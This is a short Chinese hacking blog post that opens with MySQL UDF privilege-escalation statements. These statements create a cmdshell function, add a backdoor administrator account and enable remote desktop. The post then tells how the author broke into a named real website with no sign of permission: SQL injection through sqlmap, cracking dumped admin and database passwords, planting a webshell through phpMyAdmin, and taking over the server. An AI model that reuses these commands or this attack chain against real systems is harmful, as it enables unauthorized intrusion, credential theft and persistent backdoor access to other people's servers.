udf提權。利用條件：root許可權的mysql賬號密碼。提權方法：具體語句如下：
　　create function cmdshell returns string soname ‘udf.dll’;
　　select cmdshell(’net user iis_user 123 /add’);
　　select cmdshell(’net localgroup administrators iis_user /add’);
　　select cmdshell(’regedit /s d:\web\3389.reg’);
　　drop function cmdshell;
　　select cmdshell(’netstat -an’);
　　
要測試的站點：

http://www.xiyutm.com/，至於怎麼找到的呢？google大法好。
隨便點進去一個url。。。都有注入點。。。
放到sqlmap裡面跑
然後很幸運的跑到了後臺的帳號和密碼，還有資料庫的帳號和密碼，放到md5上面，解密需要money，，，放到習科裡面，雷鋒的菊苣們給了明文。。。。
然後呢？進入後臺，找不到上傳點。絕望了，，，然後和學長get了新技能，，，上了phpmyadmin，，，用資料庫寫一句話，，，很幸運，資料庫的許可權是root。。。
然後連線小馬，，，開始udf提權。。。因為這個站點的條件很順，，，所以直接上傳了一個udf.php，，，連線資料庫，net user唄，，，
然後伺服器被搞定了。。。看了一下，c盤只剩下幾十kb了。。。。真牛。。。

後記：昨天晚上的時候，其實已經寫完了，要比篇更加詳細一些。但是當時寫完的時候，正在和妹子聊qq，切換太快，尼瑪，，，突然火狐瀏覽器一刷，，，沒有了。。。加上這幾天天氣潮溼，感冒一直不好，，，就這樣簡單的記錄一下吧。。。